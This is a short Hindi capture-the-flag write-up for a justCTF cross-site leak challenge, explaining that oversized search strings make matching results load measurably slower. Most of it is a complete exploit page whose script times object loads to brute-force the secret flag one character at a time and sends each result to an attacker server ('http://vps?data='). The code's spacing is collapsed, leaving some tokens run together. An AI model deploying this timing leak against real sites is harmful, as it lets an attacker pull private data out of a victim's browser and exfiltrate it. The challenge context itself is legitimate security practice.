इस चुनौती में उपयोगकर्ता हजारों अक्षर भेज सकता था और यदि ध्वज शामिल था, तो अक्षर बॉट को वापस भेज दिए जाते थे। इसलिए यदि हम अक्षरों की बड़ी मात्रा डालते हैं, तो हम माप सकते हैं कि क्या ध्वज भेजे गए स्ट्रिंग में शामिल था या नहीं।
शुरुआत में, मैंने ऑब्जेक्ट की चौड़ाई और ऊँचाई सेट नहीं की, लेकिन बाद में, मैंने पाया कि यह महत्वपूर्ण है क्योंकि डिफ़ॉल्ट आकार लोड समय में अंतर करने के लिए बहुत छोटा है।
<!DOCTYPEhtml><html><head></head><body><imgsrc="https://deelay.me/30000/https://example.com"><script>fetch('https://deelay.me/30000/https://example.com')functionsend(data) {fetch('http://vps?data='+encodeURIComponent(data)).catch(err =>1)}functionleak(char, callback) {returnnewPromise(resolve => {let ss ='just_random_string'let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start =performance.now()let object =document.createElement('object');object.width ='2000px'object.height ='2000px'object.data = url;object.onload= () => {object.remove()let end =performance.now()resolve(end - start)}object.onerror= () =>console.log('Error event triggered');document.body.appendChild(object);})}send('start')let charset ='abcdefghijklmnopqrstuvwxyz_}'.split('')let flag ='justCTF{'asyncfunctionmain() {let found =0let notFound =0for(let i=0;i<3;i++) {awaitleak('..')}for(let i=0; i<3; i++) {found +=awaitleak('justCTF')}for(let i=0; i<3; i++) {notFound +=awaitleak('NOT_FOUND123')}found /=3notFound /=3send('found flag:'+found)send('not found flag:'+notFound)let threshold = found - ((found - notFound)/2)send('threshold:'+threshold)if (notFound > found) {return}// exploitwhile(true) {if (flag[flag.length-1] ==='}') {break}for(let char of charset) {let trying = flag + charlet time =0for(let i=0; i<3; i++) {time +=awaitleak(trying)}time/=3send('char:'+trying+',time:'+time)if (time >= threshold) {flag += charsend(flag)break}}}}main()</script></body></html>